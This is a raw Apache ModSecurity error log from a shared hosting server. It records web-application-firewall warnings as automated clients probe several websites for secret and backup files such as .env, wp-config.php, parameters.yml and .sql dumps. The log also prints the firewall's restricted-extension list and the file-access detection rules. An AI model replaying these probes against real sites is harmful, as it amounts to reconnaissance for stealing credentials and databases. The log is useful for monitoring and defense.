[Fri Jul 17 08:27:12.518191 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaCBAi3pC6yjXGNq19FwAAAAU"]
[Fri Jul 17 08:27:12.518407 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCBAi3pC6yjXGNq19FwAAAAU"]
[Fri Jul 17 08:27:12.522615 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.env.staging"] [unique_id "almaCBAi3pC6yjXGNq19GAAAAAU"]
[Fri Jul 17 08:27:12.522953 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.env.staging"] [unique_id "almaCBAi3pC6yjXGNq19GAAAAAU"]
[Fri Jul 17 08:27:12.523491 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.env.staging"] [unique_id "almaCBAi3pC6yjXGNq19GAAAAAU"]
[Fri Jul 17 08:27:12.646888 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaCARRrtuZqNDDSqWsmQAAABo"]
[Fri Jul 17 08:27:12.647487 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaCARRrtuZqNDDSqWsmQAAABo"]
[Fri Jul 17 08:27:12.658553 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaB0gVnBK6wAv37w6okgAAABQ"]
[Fri Jul 17 08:27:12.661882 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCARRrtuZqNDDSqWsmQAAABo"]
[Fri Jul 17 08:27:12.668447 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBpOFLENLI63GGOEKAQAAAAQ"]
[Fri Jul 17 08:27:12.688355 2026] [security2:error] [pid 2013831:tid 2013831] [client 44.220.61.253:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaCKhgWo8idb8AQWuZ0QAAABs"]
[Fri Jul 17 08:27:12.688789 2026] [security2:error] [pid 2013831:tid 2013831] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaCKhgWo8idb8AQWuZ0QAAABs"]
[Fri Jul 17 08:27:12.689221 2026] [security2:error] [pid 2013831:tid 2013831] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCKhgWo8idb8AQWuZ0QAAABs"]
[Fri Jul 17 08:27:12.874942 2026] [security2:error] [pid 2013831:tid 2013831] [client 57.141.18.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/self/root/proc/thread-self/root/sys/dev/char/116:5/subsystem/controlC0/subsystem/card0/power/"] [unique_id "almaCKhgWo8idb8AQWuZ0gAAABs"]
[Fri Jul 17 08:27:12.874974 2026] [security2:error] [pid 2013831:tid 2013831] [client 57.141.18.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/self/root/proc/thread-self/root/sys/dev/char/116:5/subsystem/controlC0/subsystem/card0/power/"] [unique_id "almaCKhgWo8idb8AQWuZ0gAAABs"]
[Fri Jul 17 08:27:12.914698 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaCJOFLENLI63GGOEKAwAAAAQ"]
[Fri Jul 17 08:27:12.914965 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaCJOFLENLI63GGOEKAwAAAAQ"]
[Fri Jul 17 08:27:12.915239 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCJOFLENLI63GGOEKAwAAAAQ"]
[Fri Jul 17 08:27:13.073536 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBgPhWp7RzB65h36ehAAAAA0"]
[Fri Jul 17 08:27:13.312114 2026] [security2:error] [pid 1993604:tid 1993604] [client 44.220.61.253:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaCYha5y5fYnQ1qRrvhQAAAAE"]
[Fri Jul 17 08:27:13.312451 2026] [security2:error] [pid 1993604:tid 1993604] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaCYha5y5fYnQ1qRrvhQAAAAE"]
[Fri Jul 17 08:27:13.312732 2026] [security2:error] [pid 1993604:tid 1993604] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCYha5y5fYnQ1qRrvhQAAAAE"]
[Fri Jul 17 08:27:13.318201 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.220.61.253:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaCQPhWp7RzB65h36ehQAAAA0"]
[Fri Jul 17 08:27:13.318365 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaCQPhWp7RzB65h36ehQAAAA0"]
[Fri Jul 17 08:27:13.318573 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaCQPhWp7RzB65h36ehQAAAA0"]
[Fri Jul 17 08:27:13.318838 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCQPhWp7RzB65h36ehQAAAA0"]
[Fri Jul 17 08:27:13.370343 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaB1h1WDijTxd1xw5IrwAAAAc"]
[Fri Jul 17 08:27:13.485189 2026] [security2:error] [pid 1994976:tid 1994976] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-global": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "almaCDRCJXF37-WnVv0idQAAABI"]
[Fri Jul 17 08:27:13.485227 2026] [security2:error] [pid 1994976:tid 1994976] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-ip": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "almaCDRCJXF37-WnVv0idQAAABI"]
[Fri Jul 17 08:27:13.547215 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaB12NhE8i6ppze4etoQAAAAs"]
[Fri Jul 17 08:27:13.933362 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaCHf2WrySr2miwA73YwAAABY"]
[Fri Jul 17 08:27:13.969632 2026] [security2:error] [pid 2002425:tid 2002425] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBqUJv0yl2bIgVrkNIgAAABU"]
[Fri Jul 17 08:27:14.437057 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env.production"] [unique_id "almaCjRCJXF37-WnVv0idwAAABI"]
[Fri Jul 17 08:27:14.437383 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env.production"] [unique_id "almaCjRCJXF37-WnVv0idwAAABI"]
[Fri Jul 17 08:27:14.482037 2026] [security2:error] [pid 2005917:tid 2005917] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env"] [unique_id "almaCnf2WrySr2miwA73ZAAAABY"]
[Fri Jul 17 08:27:14.482339 2026] [security2:error] [pid 2005917:tid 2005917] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env"] [unique_id "almaCnf2WrySr2miwA73ZAAAABY"]
[Fri Jul 17 08:27:14.482605 2026] [security2:error] [pid 2005917:tid 2005917] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCnf2WrySr2miwA73ZAAAABY"]
[Fri Jul 17 08:27:14.613857 2026] [authz_core:error] [pid 2013828:tid 2013828] [client 32.192.229.88:0] AH01630: client denied by server configuration: /home/trails/public_html/wp-config.php
[Fri Jul 17 08:27:15.019539 2026] [security2:error] [pid 1993570:tid 1993570] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBnjA8yK8B7kryx3hbwAAAAk"]
[Fri Jul 17 08:27:15.492083 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/data.sql"] [unique_id "almaC12NhE8i6ppze4etpAAAAAs"]
